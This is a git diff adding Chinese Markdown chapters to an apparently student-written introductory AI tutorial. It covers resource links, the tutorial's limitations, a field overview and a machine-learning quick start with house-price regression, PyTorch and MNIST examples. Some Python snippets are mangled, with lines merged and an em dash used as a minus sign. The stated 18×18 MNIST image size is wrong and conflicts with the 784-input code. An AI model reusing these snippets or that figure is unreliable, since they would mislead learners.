diff --git a/4.人工智能/4.10相关资料.md b/4.人工智能/4.10相关资料.md new file mode 100644 index 0000000..4d81bfc --- /dev/null +++ b/4.人工智能/4.10相关资料.md @@ -0,0 +1,60 @@ +# 相关资料 + +# 数学/机器学习相关资料 + +[轩兔的个人空间 i](https://space.bilibili.com/20883932/?spm_id_from=333.999.0.0) + +[数之道系列](https://space.bilibili.com/152254793/?spm_id_from=333.999.0.0) + +[机器学习白板推倒篇](https://space.bilibili.com/97068901/?spm_id_from=333.999.0.0) + +[zzm 自己做的几个小视频 hhh](https://space.bilibili.com/15275803/video) + +# 入门教程(散装导师) + +动手学深度学习(代码) + +[劈里啪啦的个人空间_哔哩哔哩_bilibili](https://space.bilibili.com/18161609/?spm_id_from=333.999.0.0) + +# 论文阅读 + +1. CVer 计算机视觉 +2. 跟李沐学 AI + +# 工具 + +1. connectedpaper +2. Paperwithcode + +# Machine Learning + +- [Stanford CS229: Machine Learning](https://github.com/dair-ai/ML-YouTube-Courses#stanford-cs229-machine-learning) +- [Making Friends with Machine Learning](https://github.com/dair-ai/ML-YouTube-Courses#making-friends-with-machine-learning) +- [Applied Machine Learning](https://github.com/dair-ai/ML-YouTube-Courses#applied-machine-learning) +- [Introduction to Machine Learning (Tübingen)](https://github.com/dair-ai/ML-YouTube-Courses#introduction-to-machine-learning-T%C3%BCbingen) +- [Introduction to machine learning (Munich)](https://github.com/dair-ai/ML-YouTube-Courses#Introduction-to-machine-learning-Munich) +- [Statistical Machine Learning (Tübingen)](https://github.com/dair-ai/ML-YouTube-Courses#statistical-machine-learning-T%C3%BCbingen) +- [Probabilistic Machine Learning](https://github.com/dair-ai/ML-YouTube-Courses#probabilistic-machine-learning) + +# Deep Learning + +- [MIT: Deep Learning for Art, Aesthetics, and Creativity](https://github.com/dair-ai/ML-YouTube-Courses#mit-deep-learning-for-art-aesthetics-and-creativity) +- [Stanford CS230: Deep Learning (2018)](https://github.com/dair-ai/ML-YouTube-Courses#stanford-cs230-deep-learning-2018) +- [Practical Deep Learning for Coders](https://github.com/dair-ai/ML-YouTube-Courses#practical-deep-learning-for-coders) +- [Introduction to Deep Learning (MIT)](https://github.com/dair-ai/ML-YouTube-Courses#introduction-to-deep-learning) +- [Deep Learning: CS 182](https://github.com/dair-ai/ML-YouTube-Courses#deep-learning-cs-182) +- [Deep Unsupervised Learning](https://github.com/dair-ai/ML-YouTube-Courses#deep-unsupervised-learning) +- [NYU Deep Learning SP21](https://github.com/dair-ai/ML-YouTube-Courses#nyu-deep-learning-sp21) +- [Deep Learning (Tübingen)](https://github.com/dair-ai/ML-YouTube-Courses#deep-learning-T%C3%BCbingen) +- [Full Stack Deep Learning](https://github.com/dair-ai/ML-YouTube-Courses#full-stack-deep-learning) + +# NLP + +- [Stanford CS25 - Transformers United](https://github.com/dair-ai/ML-YouTube-Courses#stanford-cs25---transformers-united) +- [NLP Course (Hugging Face)](https://github.com/dair-ai/ML-YouTube-Courses#nlp-course-hugging-face) +- [CS224N: Natural Language Processing with Deep Learning](https://github.com/dair-ai/ML-YouTube-Courses#cs224n-natural-language-processing-with-deep-learning) +- [CMU Neural Networks for NLP](https://github.com/dair-ai/ML-YouTube-Courses#cmu-neural-networks-for-nlp) +- [CS224U: Natural Language Understanding](https://github.com/dair-ai/ML-YouTube-Courses#cs224u-natural-language-understanding) +- [CMU Advanced NLP](https://github.com/dair-ai/ML-YouTube-Courses#cmu-advanced-nlp) +- [Multilingual NLP](https://github.com/dair-ai/ML-YouTube-Courses#multilingual-nlp) +- [Advanced NLP](https://github.com/dair-ai/ML-YouTube-Courses#advanced-nlp) diff --git a/4.人工智能/4.11本章节内容的局限性.md b/4.人工智能/4.11本章节内容的局限性.md new file mode 100644 index 0000000..9ccb25e --- /dev/null +++ b/4.人工智能/4.11本章节内容的局限性.md @@ -0,0 +1,59 @@ +# 本章节内容的局限性 + +作为一个本科生和部分研究生书写的教程,必须承认的是,我们在本章节内容,存在非常多的局限性,而本节内容,就是对目前存在的局限性和为什么还没有立马改进做的一定解释。 + +# 少有机器学习的一些算法 + +机器学习领域有非常庞大的知识体系和一代人十几年的积累。 + +无数伟大的科学家究其一生的研究和探索它,但是你发现本章内容少有相关内容,还是以深度学习为主?为什么? + +## 原因一:时代的浪潮 + +近乎全民深度学习的浪潮下,机器学习的知识被科研界一而再再而三的抛掷脑后,大家争先恐后的刷点,并使用深度学习的解决问题,因此深度学习领域的知识材料得到了井喷式的增长,而少有人愿意投入非常长的时间去研究机器学习的每一条数学公式的背后机理。 + +也正因如此,诸位花费自己的大学四年时光去钻研几条算法兴许是有意义的,但是对你拓展视野增长知识面的帮助没那么大,也没有办法帮助你引导到一些实操项目的工作中去,因此除了真正热爱的那一批人以外,过多的投入时间去学机器学习知识可能会让你感觉患得患失最后半途而废。 + +## 原因二:算法的性质 + +算法的性质就是严谨,一丝不苟的推导。因此,他涉及了大量的数学方程以及严谨的一步一步的推导过程。在学习的过程中,没有捷径,也没有更快的方法,你只能踏踏实实一步一步的进行积累。 + +而本教程的性质更偏向于导学,当你决心在机器学习算法深耕的时候,你已经脱离了需要导学的范畴更偏向于领域内容钻研,这是一项伟大的但是在当今时代略有吃力不讨好的工作,我真心祝愿你能乐在其中~感受到学习的快乐。 + +## 原因三:缺乏应用空间 + +ZZM 曾经尝试过投入大量时间去钻研数学以及机器学习相关的算法,但是发现了一个很残酷的现实就是,我们欠缺的积累和知识不是靠猛然突击可以弥补的,自己学都很吃力了,写出来不是误人子弟么 hhhh。 + +同时,尽管知识的内容让人很快乐,但是如果你不经常使用,或者实打实的拿一张白纸从头到尾推演一遍的话,你忘记的速度是非常快的,因此我们写下他,你们看一遍甚至说认真的阅览一遍,也不会留下太多内容。 + +## 如果真的感兴趣这方面内容呢 + +如果你阅览了本章节的数学相关知识和内容以及拓展感觉非常感兴趣并且毫无压力的话,我推荐你尝试去啃一啃大家公认的困难的书籍,比如说著名的花书,互联网上,社区内也有大量的辅助材料来帮助你更进一步的入门 + +# 科研导向明显 + +整篇教程大范围的在教怎么从科研角度去理解一些知识,感觉和工业上的逻有不符之处。 + +确实如此,工业界的逻辑和科研界的逻辑是截然不同的。 + +工业界的逻辑更偏向于低成本,高产出。而科研更偏向于你在一个好故事的背景下做了如何优雅的提升。 + +粗鲁地说就是工业更注重你这个项目,如果现在有一百万人用,能不能把百分之九十正确率的这个东西用好,科研更偏向于九十五到九十九。 + +我们自身并没有接触过太多的工业项目,也无法深入大厂去揭示他的算法,自然就算写东西写出来也不具备任何说服力。 + +因此如果你对这方面感兴趣,可能你需要别的途径去获取更多的思考和资源了。 + +# 繁杂的知识内容 + +这点非常抱歉,AI 领域的知识本身就是网状的,复杂的,甚至是互相引用的,这点会导致不可避免的内容变得冗长。 + +可能需要你花费大量的时间建立自己的知识框架和逻辑体系 + +而不是别人强行灌输给你的 + +# 还有更多??? + +联系 ZZM,我努力改 + +![](static/boxcnfYSoVgoERduiWP0jWNWMxf.jpg) diff --git a/4.人工智能/4.1前言.md b/4.人工智能/4.1前言.md new file mode 100644 index 0000000..85c1efc --- /dev/null +++ b/4.人工智能/4.1前言.md @@ -0,0 +1,95 @@ +# 前言 + +# 写在前面 + +作为目前越来越主流的研究方向,AI 领域在科研界目前已经占到了一个举足轻重的位置。 + +基本上就是如果你没有这个比赛都玩不了那种。 + +是个项目都想和 AI 扯上点关系,不然感觉都不会讲话了。 + +那么是否意味着这个技术很难或者说就高深到了不可接触的地步呢? + +并不!!! + +不少项目,他并不是真正的所谓科学研究或者是工业项目,他只是劳动力和资源的无限叠加堆砌出来结果亦或是单纯的硬扯。 + +这的确是时代的浪潮,但是被时代的浪潮裹挟向前也许你并不会得到什么。 + +为了不让你成为那无数浪花的一朵,掌握真正的核心技术,我希望你可以认真完成该教程内部所提出的各种问题和要求。 + +我们的目标并不在于教会你高速的出成果,也不在于让你有了什么炫耀的资本。 + +而在于让你学会: + +- 如何在汹涌而来的浪潮中看清楚时代发展的脉络 +- 拥有完善且稳定的认知模式 +- 拥有找到自己真正擅长或者愿意去付出时间和经历的东西 + +# 我需要说明的 + +在这个时代,相关内容是非常泛滥的,我们不会自己写过多的内容,最主要的是引导大家有一条清晰的路线。同时,我们也会在这里加入一些经典或优秀论文的解读等内容。 + +# AI 的大致方向分类 + +本模块会粗略地介绍目前 AI 的研究与应用领域,在这里提前说明:笔者也只是一名普通的杭电学生,视野与认知有限,某些领域我们了解较多就会介绍地更加详细,某些领域了解较少或笔者中无人从事相关研究,就难免会简略介绍甚至有所偏颇,欢迎大家的指正。 + +## CV(计算机视觉) + +计算机视觉旨在用计算机模拟人类处理图片信息的能力,就比如这里有一张图片——手写数字 9(by:wy) + +![](static/boxcnvQiaAx6WgPx64s8fBklVwh.png) + +对我们人类而言,能够很轻松地知道这张图片中包含的信息(数字 9),而对计算机来说这只是一堆像素。计算机视觉的任务就是让计算机能够从这堆像素中得到‘数字 9’这个信息。 + +相信你通过上面简单的介绍应该能够了解到计算机视觉是在干嘛了,接下来我会举几个相对复杂的例子来让大家了解一下目前的 cv 是在做怎样的研究: + +图像分割是在图片中对物体分类,并且把它们所对应的位置标示出来。下图就是把人的五官,面部皮肤和头发分割出来,效(小)果(丑)图如下: + +![](static/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg) + +![](static/boxcnokdWGegr2XCi1vfg0ZZiWg.png) + +![](static/boxcn2o9ilOZg6jI6ssTYWhoeme.png) + +图像生成相信大家一定不陌生,NovalAI 在 2022 年火的一塌糊涂,我觉得不需要我过多赘述,对它(Diffusion model)的改进工作也是层出不穷,这里就放一张由可控姿势网络(ControlNet)生成的图片吧: + +![](static/boxcnUjnRociXua1yKj6dmU1A3c.png) + +三维重建也是很多研究者关注的方向,指的是传入对同一物体不同视角的照片,来生成 3D 建模的任务。这方面比图像处理更加前沿并且难度更大。具体见[神经辐射场(NeRF)](https://gw9u39xwqi.feishu.cn/wiki/wikcn9RpvhVHpRNN0vZpaUdmavd) 章节。 + +如果对计算机视觉有兴趣,可以通过以下路线进行学习:深度学习快速入门—> 经典网络。本块内容的主要撰写者之一SRT 社团多数成员主要从事 CV 方向研究,欢迎与我们交流。 + +## NLP(自然语言处理) + +这就更好理解了,让计算机能够像人类一样,理解文本中的“真正含义”。在计算机眼中,文本就是单纯的字符串,NLP 的工作就是把字符转换为计算机可理解的数据。举个例子,ChatGPT(或者 New Bing)都是 NLP 的成果。在过去,NLP 领域被细分为了多个小任务,比如文本情感分析、关键段落提取等。而 ChatGPT 的出现可以说是集几乎所有小任务于大成,接下来 NLP 方向的工作会向 ChatGPT 的方向靠近。 + +![](static/boxcnyh6pakAkcxCKq6pLylSdef.png) + +![](static/boxcnwWnoEDulgWdqGkY0WeYogc.png) + +## 多模态(跨越模态的处理) + +模态,可以简单理解为数据形式,比如图片是一种模态,文本是一种模态,声音是一种模态,等等…… + +而多模态就是让计算机能够将不同模态的信息相对应,一种常用的方法就是让计算机把图片的内容和文本的内容理解为相同的语义(在这个领域一般用一个较长的向量来表示语义)。 + +也就是说我传入一张狗子的照片经过模型得到的向量DOG 这个单词经过模型得到的向量相近。 + +具体的任务比如说图片问答,传入一张图片,问 AI 这张图片里面有几只猫猫,它们是什么颜色,它告诉我有一只猫猫,是橙色的: + +![](static/boxcnrMvM1THshjXXOuh8WXi2zr.jpg) + +## 对比学习 + +因为传统 AI 训练一般都需要数据集标注,比如说图片分割数据集需要人工在数万张图片上抠出具体位置,才能进行训练,这样的人力成本是巨大的,而且难以得到更多数据。因此,对比学习应运而生,这是一种不需要进行标注或者只需要少量标注的训练方式,具体可见[对比学习](https://gw9u39xwqi.feishu.cn/wiki/wikcngR1r66tof102Aof4WywlXf) 。 + +## 经典机器学习算法 + +是老东西了速速爆金币 + +现在一般在数据分析领域使用,研究领域基本不拿它做文章了,大家可以去了解,但是深挖下去难度极大。如果你在阅读其他领域论文中遇到拿机器学习老算法文艺复兴的,可以看看我们写的[传统机器学习算法](https://gw9u39xwqi.feishu.cn/wiki/wikcnjgNF9bpP5f03abEiSG2aXe) + +## 强化学习 + +这块我们涉猎较少,你可以理解为训练 AI 打游戏~ diff --git a/4.人工智能/4.2机器学习(AI)快速入门(quick start).md b/4.人工智能/4.2机器学习(AI)快速入门(quick start).md new file mode 100644 index 0000000..ea935c9 --- /dev/null +++ b/4.人工智能/4.2机器学习(AI)快速入门(quick start).md @@ -0,0 +1,447 @@ +# 机器学习(AI)快速入门(quick start) + +本章内容需要你掌握一定的 python 基础知识。 + +如果你想要快速了解机器学习,并且动手尝试去实践他,你可以先阅览本部分内容。 + +里面包含 python 内容的一点点基本语法包括 if,for 等语句,函数等概念即可,你可以遇到了再去学。 + +就算没有编程基础也基本能看懂,选择着跳过吧 + +当然我需要承认一点,为了让大家都可以看懂,我做了很多抽象,具有了很多例子,某些内容不太准确,这是必然的,最为准确的往往是课本上精确到少一个字都不行的概念,这是难以理解的。 + +本篇内容只适合新手理解使用,所以不免会损失一些精度。 + +# 什么是机器学习 + +这个概念其实不需要那么多杂七杂八的概念去解释。 + +首先你要认识到他是人工智能的一部分,不需要写任何与问题有关的特定代码。你把数据输入相关的算法里面,他给你总结相应的规律。 + +我举个例子,你现在把他当成一个黑盒,不需要知道里面有什么,但是你知道他会回答你的问题。你想知道房价会怎么变动来决定现在买不买房。然后你给了他十年的房价数据,他发现每年都在涨,所以给你预测了一个数值。 + +然后你给了他更多信息,比如说国家给出了某些条例,他分析这个条例一出,房价就会降低,他给你了个新的数据。 + +因此我们得出一个结论:机器学习 = 泛型算法。 + +甚至深度学习,也只是机器学习的一部分,不过使用了更多技巧和方法,增大了计算能力罢了。 + +![](static/boxcnbtaUStj8coQiNTmZzfWqNl.png) + +# 两种机器学习算法 + +你可以把机器学习算法分为两大类:监督式学习(supervised Learning)和非监督式学习(unsupervised Learning)。要区分两者很简单,但也非常重要。 + +## 监督式学习 + +你是卖方的,你公司很大,因此你雇了一批新员工来帮忙。 + +但是问题来了——虽然你可以一眼估算出房子的价格,但新员工却不像你这样经验丰富,他们不知道如何给房子估价。 + +为了帮助你的新员工,你决定写一个可以根据房屋大小、地段以及同类房屋成交价等因素来评估一间房屋的价格的小软件。 + +近三个月来,每当你的城市里有人卖了房子,你都记录了下面的细节——卧室数量、房屋大小、地段等等。但最重要的是,你写下了最终的成交价: + +![](static/boxcnL1MNHqAyDjcxIzjFTOdYtt.png) + +然后你让新人根据着你的成交价来估计新的数量 + +![](static/boxcnwcDWIDvLnuvZ1uOb75QKPh.png) + +这就是监督学习,你有一个参照物可以帮你决策。 + +## 无监督学习 + +没有答案怎么办? + +你可以把类似的分出来啊! + +我举个例子,比如说警察叔叔要查晚上的现金流,看看有没有谁干了不好的事情,于是把数据拎出来。 + +发现晚上十点到十二点间,多数的现金交易是几十块几百块。有十几个是交易几千块的。 + +然后再把交易给私人账户的和公司账户的分开,发现只有一个是给个人账户的,发现他还是在酒店交易的! + +这下糟糕了,警察叔叔去那个酒店一查,果然发现了有人在干不好的事情。 + +这其实就是一种经典的聚类算法 + +![](static/boxcnSn17EC3YvEnA6GScKNAF3e.png) + +可以把特征不一样的数据分开,有非常多的操作,你感兴趣可以选择性的去了解一下。 + +## 太酷炫了,但这也叫 AI?这也叫学习? + +作为人类的一员,你的大脑可以应付绝大多数情况,并且在没有任何明确指令时也能够学习如何处理这些情况。而目前的机器学习就是在帮助我们机器建立起解决问题的能力。 + +但是目前的机器学习算法还没有那么强大——它们只能在非常特定的、有限的问题上有效。也许在这种情况下,「学习」更贴切的定义是「在少量样本数据的基础上找出一个公式来解决特定的问题」。 + +但是「机器在少量样本数据的基础上找出一个公式来解决特定的问题」不是个好名字。所以最后我们用「机器学习」取而代之。而深度学习,则是机器在数据的基础上通过很深的网络(很多的公式)找一个及解决方案来解决问题。 + +# 看看 Code + +如果你完全不懂机器学习知识,你可能会用一堆 if else 条件判断语句来判断比如说房价 + +```python +def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): + price = 0 # In my area, the average house costs $200 per sqft + price_per_sqft = 200 if neighborhood == "hipsterton": + # but some areas cost a bit more + price_per_sqft = 400 elif neighborhood == "skid row": + # and some areas cost less + price_per_sqft = 100 # start with a base price estimate based on how big the place is + price = price_per_sqft * sqft # now adjust our estimate based on the number of bedrooms + if num_of_bedrooms == 0: + # Studio apartments are cheap + price = price — 20000 + else: + # places with more bedrooms are usually + # more valuable + price = price + (num_of_bedrooms * 1000) return price +``` + +假如你像这样瞎忙几个小时,最后也许会得到一些像模像样的东西。但是永远感觉差点东西。 + +并且,你维护起来非常吃力,你只能不断地加 if else。 + +现在看起来还好,但是如果有一万行 if else 呢? + +所以你最好考虑换一种方法:如果能让计算机找出实现上述函数功能的办法,岂不更好?只要返回的房价数字正确,谁会在乎函数具体干了些什么呢? + +```python +def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): + price = <电脑电脑快显灵> return price +``` + +如果你可以找到这么一个公式: + +Y(房价)=W(参数)*X1(卧室数量)+W*X2(面积)+W*X3(地段) + +你是不是会舒服很多,可以把他想象成,你要做菜,然后那些参数就是佐料的配比 + +有一种笨办法去求每一个参数的值: + +第一步:将所有参数都设置为 1 + +```python +def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): + price = 0 # a little pinch of this + price += num_of_bedrooms * 1.0 # and a big pinch of that + price += sqft * 1.0 # maybe a handful of this + price += neighborhood * 1.0 # and finally, just a little extra salt for good measure + price += 1.0 return price +``` + +第二步把每个数值都带入进行运算。 + +![](static/boxcniDICYiLh7ddcxEVrHxFODe.png) + +比如说,如果第一套房产实际成交价为 25 万美元,你的函数估价为 17.8 万美元,这一套房产你就差了 7.2 万。 + +现在,将你的数据集中的每套房产估价偏离值平方后求和。假设你的数据集中交易了 500 套房产,估价偏离值平方求和总计为 86,123,373 美元。这个数字就是你的函数现在的「错误」程度。 + +现在,将总和除以 500,得到每套房产的估价偏差的平均值。将这个平均误差值称为你函数的代价(cost)。 + +如果你能通过调整权重,使得这个代价变为 0,你的函数就完美了。它意味着,根据输入的数据,你的程序对每一笔房产交易的估价都是分毫不差。所以这就是我们的目标——通过尝试不同的权重值,使代价尽可能的低。 + +第三步: + +通过尝试所有可能的权重值组合,不断重复第二步。哪一个权重组合的代价最接近于 0,你就使用哪个。当你找到了合适的权重值,你就解决了问题! + +兴奋的时刻到了! + +挺简单的,对吧?想一想刚才你做了些什么。你拿到了一些数据,将它们输入至三个泛型的、简单的步骤中,最后你得到了一个可以对你所在区域任何房屋进行估价的函数。房价网站们,你们要小心了! + +但是下面的一些事实可能会让你更兴奋: + +1. 过去 40 年来,很多领域(如语言学、翻译学)的研究表明,这种「搅拌数字汤」(我编的词)的泛型学习算法已经超过了那些真人尝试明确规则的方法。机器学习的「笨」办法终于打败了人类专家。 +2. 你最后写出的程序是很笨的,它甚至不知道什么是「面积」和「卧室数量」。它知道的只是搅拌,改变数字来得到正确的答案。 +3. 你可能会对「为何一组特殊的权重值会有效」一无所知。你只是写出了一个你实际上并不理解却能证明有效的函数。 +4. 试想,如果你的预测函数输入的参数不是「面积」和「卧室数量」,而是一列数字,每个数字代表了你车顶安装的摄像头捕捉的画面中的一个像素。然后,假设预测的输出不是「价格」而是「方向盘转动角度」,这样你就得到了一个程序可以自动操纵你的汽车了! + +这可行吗?瞎尝试这不得尝试到海枯石烂? + +为了避免这种情况,数学家们找到了很多种[聪明的办法](https://link.zhihu.com/?target=http%3A//en.wikipedia.org/wiki/Gradient_descent)来快速找到优秀的权重值。下面是一种: + +![](static/boxcnXkjzipUjgJpFYXaEhbEN8e.png) + +这就是被称为 loss 函数的东西。 + +这是个专业属于,你可以选择性忽略他,我们将它改写一下 + +![](static/boxcnXbd7bqnqPwF8f1Up8rHq5e.png) + +θ 表示当前的权重值。 J(θ) 表示「当前权重的代价」。 + +这个等式表示,在当前权重值下,我们估价程序的偏离程度。 + +如果我们为这个等式中所有卧室数和面积的可能权重值作图的话,我们会得到类似下图的图表: + +![](static/boxcniBPPpszGhbOWGpvto38Alf.png) + +因此,我们需要做的只是调整我们的权重,使得我们在图上朝着最低点「走下坡路」。如果我们不断微调权重,一直向最低点移动,那么我们最终不用尝试太多权重就可以到达那里。 + +如果你还记得一点微积分的话,你也许记得如果你对一个函数求导,它会告诉你函数任意一点切线的斜率。换句话说,对于图上任意给定的一点,求导能告诉我们哪条是下坡路。我们可以利用这个知识不断走向最低点。 + +所以,如果我们对代价函数关于每一个权重求偏导,那么我们就可以从每一个权重中减去该值。这样可以让我们更加接近山底。一直这样做,最终我们将到达底部,得到权重的最优值。(读不懂?不用担心,继续往下读)。 + +这种为函数找出最佳权重的方法叫做批量梯度下降(Batch Gradient Descent)。 + +当你使用一个机器学习算法库来解决实际问题时,这些都已经为你准备好了。但清楚背后的原理依然是有用的。 + +![](static/boxcn2xlALHL53uUMXSHjloWiOe.jpg) + +枚举法 + +上面我描述的三步算法被称为多元线性回归(multivariate linear regression)。你在估算一个能够拟合所有房价数据点的直线表达式。然后,你再根据房子可能在你的直线上出现的位置,利用这个等式来估算你从未见过的房屋的价格。这是一个十分强大的想法,你可以用它来解决「实际」问题。 + +但是,尽管我展示给你的这种方法可能在简单的情况下有效,它却不能应用于所有情况。原因之一,就是因为房价不会是简简单单一条连续的直线。 + +不过幸运的是,有很多办法来处理这种情况。有许多机器学习算法可以处理非线性数据。除此之外,灵活使用线性回归也能拟合更复杂的线条。在所有的情况下,寻找最优权重这一基本思路依然适用。 + +如果你还是无法理解,你可以将 cost 类比为你出错误的程度,而数学科学家找到各种方法来降低这种程度,当程度降到最低时,我们就可以知道我们要求的数值了 + +另外,我忽略了过拟合(overfitting)的概念。得到一组能完美预测原始数据集中房价的权重组很简单,但用这组权重组来预测原始数据集之外的任何新房屋其实都不怎么准确。这也是有许多解决办法的(如[正则化](https://link.zhihu.com/?target=http%3A//en.wikipedia.org/wiki/Regularization_%2528mathematics%2529%23Regularization_in_statistics_and_machine_learning)以及使用[交叉验证](https://link.zhihu.com/?target=http%3A//en.wikipedia.org/wiki/Cross-validation_%2528statistics%2529)的数据集)。学习如何应对这一问题,是学习如何成功应用机器学习技术的重点之一。 + +换言之,尽管基本概念非常简单,要通过机器学习得到有用的结果还是需要一些技巧和经验的。但是,这是每个开发者都能学会的技巧。 + +# 更为智能的预测 + +我们通过上一次的函数假设已经得到了一些值。 + +```python +def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): + price = 0# a little pinch of this + price += num_of_bedrooms * 0.123# and a big pinch of that + price += sqft * 0.41# maybe a handful of this + price += neighborhood * 0.57 + return price +``` + +我们换一个好看的形式给他展示 + +![](static/boxcnhbR6lGSXd6UAEpRvSIYSHg.png) + +箭头头表示了函数中的权重。 + +然而,这个算法仅仅能用于处理一些简单的问题,就是那些输入和输出有着线性关系的问题。但如果真实价格和决定因素的关系并不是如此简单,那我们该怎么办? 比如说,地段对于大户型和小户型的房屋有很大影响,然而对中等户型的房屋并没有太大影响。那我们该怎么在我们的模型中收集这种复杂的信息呢? + +所以为了更加的智能化,我们可以利用不同的权重来多次运行这个算法,收集各种不同情况下的估价。 + +![](static/boxcnpDPWKnB6x4fQmGpyvLQJLf.png) + +然后我们把四种整合到一起,就得到一个超级答案 + +![](static/boxcnplbH8Ot0U6cuLHStDmXyze.png) + +这样我们相当于得到了更为准确的答案 + +# 神经网络是什么 + +![](static/boxcnhLjMMdts91f8gcpgSVE8Ed.png) + +我们把四个超级网络的结合图整体画出来,其实这就是个超级简单的神经网络,虽然我们省略了很多的内容,但是他仍然有了一定的拟合能力 + +最重要的是下面的这些内容: + +我们制造了一个权重 × 因素的简单函数,我们把这个函数叫做神经元。 + +通过连接许许多多的简单神经元,我们能模拟那些不能被一个神经元所模拟的函数。 + +通过对这些神经元的有效拼接,我们可以得到我们想要的结果。 + +当我用 pytorch 写对一个函数拟合时 + +```python +import torch + +x_data =torch.Tensor ([[1.0],[2.0], [3.0]]) +y_data = torch.Tensor([[2.0], [4.0], [6.0]]) + +class LinearModel(torch.nn.Module): + def __init__(self): + super(LinearModel,self).__init__() + self.linear=torch.nn.Linear(1,1) + + def forward(self,x): + y_pred=self.linear(x) + return y_pred +''' +线性模型所必须的前馈传播,即wx+b +''' + +model=LinearModel() +#对于对象的直接使用 +criterion=torch.nn.MSELoss() +#损失函数的计算 +optimizer=torch.optim.SGD(model.parameters(),lr=0.01) +#优化器 +for epoch in range(100): + y_pred=model(x_data) + loss=criterion(y_pred,y_data) + print(epoch,loss) + + optimizer.zero_grad() + loss.backward() + #反向传播 + optimizer.step() + #数值更新 + print('w=',model.linear.weight.item()) + print('b=',model.linear.bias.item()) + +x_test=torch.Tensor([[4.0]]) +y_test=model(x_test) +print('y_pred=',y_test.data) +``` + +# 由浅入深(不会涉及代码) + +# 为什么不教我写代码? + +因为你可能看这些基础知识感觉很轻松毫无压力,但是倘若附上很多代码,会一瞬间拉高这里的难度,虽然仅仅只是调包。 + +但是我还是会在上面贴上一点代码,但不会有很详细的讲解,因为很多都是调包,没什么好说的,如果你完全零基础,忽略这部分内容即可 + +我们尝试做一个神奇的工作,那就是用神经网络来识别一下手写数字,听上去非常不可思议,但是我要提前说的一点是,图像也不过是数据的组合,每一张图片有不同程度的像素值,如果我们把每一个像素值都当成神经网络的输入值,然后经过一个黑盒,让他识别出一个他认为可能的数字,然后进行纠正即可。 + +机器学习只有在你拥有数据(最好是大量数据)的情况下,才能有效。所以,我们需要有大量的手写「8」来开始我们的尝试。幸运的是,恰好有研究人员建立了 [MNIST 手写数字数据库](https://link.zhihu.com/?target=http%3A//yann.lecun.com/exdb/mnist/),它能助我们一臂之力。MNIST 提供了 60,000 张手写数字的图片,每张图片分辨率为 18×18。即有这么多的数据。 + +```python +(X_train, y_train), (X_test, y_test) = mnist.load_data() +#这段是导入minist的方法,但是你看不到,如果你想看到的话需要其他操作 +``` + +我们试着只识别一个数字 8 + +![](static/boxcnOvoCMEuaMIpKZkfoFLDitf.png) + +![](static/boxcnZQnrltieoJ93DT79pyX45e.png) + +我们把一幅 18×18 像素的图片当成一串含有 324 个数字的数组,就可以把它输入到我们的神经网络里面了: + +![](static/boxcnZ6bzfOUDQgPAJrKI7Pp3Yc.png) + +为了更好地操控我们的输入数据,我们把神经网络的输入节点扩大到 324 个: + +![](static/boxcnha4DXsSfAUIYbCQqAx6QKd.png) + +请注意,我们的神经网络现在有了两个输出(而不仅仅是一个房子的价格)。第一个输出会预测图片是「8」的概率,而第二个则输出不是「8」的概率。概括地说,我们就可以依靠多种不同的输出,利用神经网络把要识别的物品进行分组。 + +```python +model = Sequential([Dense(32, input_shape=(784,)), + Activation('relu'),Dense(10),Activation('softmax')])# 你也可以通过 .add() 方法简单地添加层: model = Sequential() + model.add(Dense(32, input_dim=784)) + model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东西可以让他效果更好 +``` + +虽然我们的神经网络要比上次大得多(这次有 324 个输入,上次只有 3 个!),但是现在的计算机一眨眼的功夫就能够对这几百个节点进行运算。当然,你的手机也可以做到。 + +现在唯一要做的就是用各种「8」和非「8」的图片来训练我们的神经网络了。当我们喂给神经网络一个「8」的时候,我们会告诉它是「8」的概率是 100% ,而不是「8」的概率是 0%,反之亦然。 + +# 仅此而已吗 + +当数字并不是正好在图片中央的时候,我们的识别器就完全不工作了。一点点的位移我们的识别器就掀桌子不干了 + +![](static/boxcnShOBEoOhsJLR6L5xyr7INb.png) + +这是因为我们的网络只学习到了正中央的「8」。它并不知道那些偏离中心的「8」长什么样子。它仅仅知道中间是「8」的图片规律。 + +在真实世界中,这种识别器好像并没什么卵用。真实世界的问题永远不会如此轻松简单。所以,我们需要知道,当「8」不在图片正中时,怎么才能让我们的神经网络识别它。 + +## 暴力方法:更多的数据和更深的网络 + +他不能识别靠左靠右的数据?我们都给他!给他任何位置的图片! + +或者说,我们可以用一些库把图片进行一定的裁剪,翻转,甚至添加一些随机噪声。 + +如果这些都识别一遍,那不是都懂了吗? + +当然,你同时也需要更强的拟合能力和更深的网络。 + +![](static/boxcnLwoxR6OC3ZBxqtMcKg4v6b.png) + +![](static/boxcnIcHcRF34F6jJgTRvhyAevc.png) + +一层一层堆叠起来,这种方法很早就出现了。 + +## 更好的方法? + +你可以通过卷积神经网络进行进一步的处理 + +作为人类,你能够直观地感知到图片中存在某种层级(hierarchy)或者是概念结构(conceptual structure)。比如说,你在看 + +![](static/boxcndjXp5ayczwemklMk9ZA3ig.jpg) + +你会快速的辨认出一匹马,一个人。 + +当这些东西换个地方出现的时候,他该是马还是马该是人还是人。 + +但是现在,我们的神经网络做不到这些。它认为「8」出现在图片的不同位置,就是不一样的东西。它不能理解「物体出现在图片的不同位置还是同一个物体」这个概念。这意味着在每种可能出现的位置上,它必须重新学习识别各种物体。 + +有人对此做过研究,人的眼睛可能会逐步判断一个物体的信息,比如说你看到一张图片,你会先看颜色,然后看纹理然后再看整体,那么我们需要一种操作来模拟这个过程,我们管这种操作叫卷积操作。 + +![](static/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png) + +## 卷积是如何工作的 + +之前我们提到过,我们可以把一整张图片当做一串数字输入到神经网络里面。不同的是,这次我们会利用平移不变性的概念来把这件事做得更智能。 + +当然也有最新研究说卷积不具备平移不变性,但是我这里使用这个概念是为了大伙更好的理解,举个例子:你将 8 无论放在左上角还是左下角都改变不了他是 8 的事实 + +![](static/boxcnHo4tt4wmnC7sUykRPPLKmm.png) + +我们将一张图像分成这么多个小块,然后输入神经网络中的是一个小块。每次判断一张小图块。 + +然而,有一个非常重要的不同:对于每个小图块,我们会使用同样的神经网络权重。换一句话来说,我们平等对待每一个小图块。如果哪个小图块有任何异常出现,我们就认为这个图块是「异常」 + 